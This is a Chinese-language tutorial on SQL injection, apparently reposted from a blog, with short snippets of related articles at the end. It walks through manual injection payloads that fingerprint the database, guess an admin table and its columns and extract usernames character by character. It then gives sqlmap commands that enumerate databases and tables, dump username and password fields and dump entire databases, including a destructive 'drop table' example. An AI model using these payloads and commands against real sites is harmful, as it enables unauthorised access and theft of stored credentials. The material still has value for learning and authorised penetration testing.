01 注入原理
存在注入的原因是因為後台在編寫程式時,沒有對使用者輸入的資料做過濾導致的,正如事實上,不是所有的使用者都是友好的
比如:使用者在某個輸入框提交的引數是 2
瀏覽器提交的url為: http:// www.***.com/index.php?id=2
伺服器後台執行sql語句: select * from table1 where id = 2
返回response,瀏覽器解析返回的頁面,然後你就看到新的頁面了
如果**的使用者提交的引數是 2;drop table1
伺服器後台執行sql語句: select * from table1 where id =2 ; drop table1
相當於後台執行了兩條sql語句,查表,並且把table1刪除 - -
從而導致了sql注入。
按照這個思路,現在寫一下手工注入的一般步驟:
1、 判斷是否存在注入點(數字型注入)
第2條返回正常,第1,3條返回不正常說明id引數存在注入漏洞
2、 判斷資料庫型別
可以根據不同資料庫特有的表,或者根據不同資料庫的語法不同進行判斷
www.***.com/index.php?id=2 and exists(select * from sysobjects) – 返回正常是sqlserver 資料庫
www.***.com/index.php?id=2 and exists(select * from msysobjects) – 返回正常是access 資料庫
www.***.com/index.php?id=2 and len(『a』) = 1 – 返回正常是sqlserver或者mysql
www.***.com/index.php?id=2 and substring(『abc』,『1』,『1』) = a – 返回正常是sqlserver
www.***.com/index.php?id=2 and substr(『abc』,『1』,『1』)= a – 返回正常是oracle
知道是哪種型別資料庫後就可以選擇對應語法構造sql語句進行攻擊
3、 判定是否存在admin表
www.***.com/index.php?id=2 and exists(select * from admin) – 返回正常 存在admin表
4、猜admin表中的欄位名
www.***.com/index.php?id=2 and exists(select username from admin) – 返回正常 表示admin表存在username欄位
5、 猜字段值
www.***.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 – 返回正常說明username中有ascii碼小於100的字母,然後根據折半發準確判斷是哪乙個字元
以上是 sqlserver的手工注入步驟,在mysql和oracle中略有不同,思路還是這個樣子,好了終於把這部分也不補上了~~
結束分割線
0x 02 安裝sqlmap
1. 安裝python
因為sqlmap使用python寫的 ,所以沒有python的環境sqlmap無法執行
2. 安裝sqlmap
官網 選擇最近版本安裝即可
3. 設定環境變數
為了使用便利,將sqlmap的安裝目錄新增到系統環境變數中
之後在cmd中就可以直接使用sqlmap了
不設定環境變數的話,要把cmd的當前目錄切換到sqlmap安裝目錄才可以使用
0x 03 sqlmap常用命令介紹
1. sqlmap.py -u 「
判斷id引數是否存在注入:結果中包含 「id」 is vulnerable 字段表示存在注入
存在注入,下面的步驟才可以執行成功~
2. sqlmap.py -u 「 --dbs
列舉能列出的所有資料庫名
3. sqlmap.py -u 「 --current-db
列出當前使用的資料庫名,假設列出「sqltest」資料庫
4. sqlmap.py -u 「 --is-dba
判斷該注入點是否有管理員許可權:返回true 表示是管理員
5. sqlmap.py -u 「 -d 「sqltest」 --tables
獲取sqltest中的所有表,假設有"admin"表
6. sqlmap.py -u 「 -d 「sqltest」 -t 「admin」 --columns
列舉表admin的字段(列名),假設存在"username","password"字段
7. sqlmap.py -u 「 -d 「sqltest」 -t 「admin」 -c 「username,password」 --dump
至此,對乙個簡單的注入點(get方式),現在就已經得到了我們想要的資料
想看工具的注入過程 使用-v引數
-level 會提高注入等級(預設0 只會判斷get,post引數是否有注入點)
若注入點是post方式,或是注入點才cookie,user-agent中,可以利用-date 引數 -cookie引數指定
當然用buip suite架個**,擷取資料報,直接 -r 引數引入資料報也可以完成上述的注入情況的~
0x 04 注入demo
本次演示使用apache+php +mysql 環境,其他環境的話
使用sqlmap輸入還是相同的命令,這點sqlmap做的好方便
sqlmap.py -u 「 --dbs 列所有資料庫名
sqlmap.py -u 「 --current-db 列出當前資料庫
sqlmap.py -u 「 --is-dba 判斷注入點是否有管理員許可權
sqlmap.py -u 「 -d 「test」 --tables 猜表名
sqlmap.py -u 「 -d 「test」 -t 「test」 --columns 猜欄位名
sqlmap.py -u 「 -d 「test」 -t 「test」 -c 「id,name」 --dump 猜id和name的值
網路上流傳的脫褲 用的可就是下面的一句話
sqlmap.py -u 「 -d 「test」 --dump-all
突然發現 強大的東西往往僅僅是一句話 ! !
SQL注入神器 SqlMap
sqlmap是乙個開源的滲透測試工具,可以自動檢測和利用sql漏洞,並且在sectools.org注入工具中一直排名第一。sqlmap分配有乙個強大的搜尋引擎,如果url存在注入漏洞,它就可以從資料庫中直接提取資料,如果資料庫使用者許可權較大的話甚至可以直接執行作業系統的一些命令 讀取檔案。sqlm...
SQL注入神器 sqlmap的常用引數 方法總結
sqlmap是一款開源的自動化sql注入工具,是集獲取資料庫資訊 獲取主機許可權 讀寫檔案和提權等功能於一身的強大注入工具。mysql oracle postgresql microsoft sql server microsoft access ibm db2 sqlite firebird sy...
sqlmap的注入方式
第一種 普通的注入方式 第一步 首先進行 u操作,比如 u 第二步 進行 d暴庫操作 sqlmap u dbs 第三步 進行 t暴表操作 sqlmap u d user tables 第四步 進行 colums進行暴欄位 sqlmap u d user t use colums 第五步 進行 dum...